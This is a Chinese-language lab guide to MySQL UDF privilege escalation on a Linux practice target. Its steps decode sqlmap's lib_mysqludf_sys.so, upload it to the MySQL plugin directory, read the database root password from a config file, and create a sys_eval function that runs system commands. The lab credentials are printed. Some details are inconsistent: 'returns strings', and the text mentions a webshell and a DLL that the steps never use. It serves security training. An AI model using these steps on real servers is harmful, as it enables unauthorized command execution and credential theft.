基於Mysql的UDF提權(Linux系統)
【實驗目的】
通過本實驗理解如何通過webshell結合sqlmap自帶的dll文件對Linux系統進行UDF提權,熟悉UDF提權的主要方法。
【實驗環境】
攻擊機:Kali-pri
用戶名college,密碼360College 目標靶機:CentOS-sqli-lab 用戶名college,密碼360College
【實驗原理】
scp命令簡介:
scp是 secure copy的縮寫, scp是linux系統下基於ssh登錄進行安全的遠程文件拷貝命令。linux的scp命令可以在linux服務器之間復制文件和目錄。
復制文件的命令格式:
scp local_file remote_username@remote_ip:remote_folder
scp dama.php michael@192.168.198.13:/var/www/html/wordpress
【實驗步驟】
1.啟動靶機CentOS-sqli-lab、攻擊機Kali-pri。
2.將Kali系統中sqlmap自帶的udf提權庫文件進行解碼。 在Kali攻擊機上,啟動終端,依次輸入如下命令:
(1)sudo su
//切換到root用戶
(2)cd /usr/share/sqlmap/extra/cloak/
//進入cloak目錄
(3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
//將lib_mysqludf_sys.so_進行解碼

解碼后,在/usr/share/sqlmap/udf/mysql/linux/64目錄下會生成一個名為“lib_mysqludf_sys.so”的解碼后的so文件。

3.將攻擊機上的lib_mysqludf_sys.so文件上傳至靶機的/usr/lib64/mysql/plugin目錄(此為mysql數據庫的插件安裝目錄),所用命令為:
scp /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 【靶機的賬戶】@【靶機IP地址】: /usr/lib64/mysql/plugin

這里所用的靶機賬戶為college,密碼為360College
4.在Kali攻擊機上,利用nmap掃描靶機開放的端口,所用命令為:
nmap -sS 【靶機IP地址】
注意:該命令只有管理員身份(即root用戶)才能使用!

通過nmap掃描結果得知,目標靶機開放了TCP 22端口。
5.在Kali攻擊機上,通過SSH連接靶機,所用命令為:
ssh 【靶機的賬戶】@【靶機IP地址】

這里所用的靶機賬戶為college,密碼為360College
6.通過SSH成功連接靶機后,進入靶機的/var/www/html/sql-connections目錄,通過查看db-creds.inc文件內容獲取靶機MySQL數據庫root賬戶的密碼。所用命令為:
(1)cd /var/www/html/sql-connections
//進入該目錄
(2)cat db-creds.inc
//查看db-creds.inc文件內容

這里獲取到的MySQL數據庫root賬戶的密碼為root123456
7.用root賬戶連接靶機的MySQL數據庫。
依次輸入以下命令:
(1)cd /usr/bin
//進入MySQL可執行文件的目錄
(2)mysql -h 127.0.0.1 -u root -p
//連接MySQL
(3)輸入root賬戶的密碼root123456

當出現mysql>的提示符時,則表示連接成功。
8.利用第3步中上傳的lib_mysqludf_sys.so文件,創建一個MySQL函數sys_eval,所用命令為:
create function sys_eval returns strings soname ‘lib_mysqludf_sys.so’;
創建完成后,利用如下命令查看結果:
select * from mysql.func;

9.利用sys_eval函數執行系統命令:
(1)select sys_eval(‘whoami’);

(2)select sys_eval(‘id’);

實驗至此結束。
【思考與總結】
通過本次實驗,掌握了利用webshell結合sqlmap自帶的dll文件對Linux系統進行UDF提權的方法。
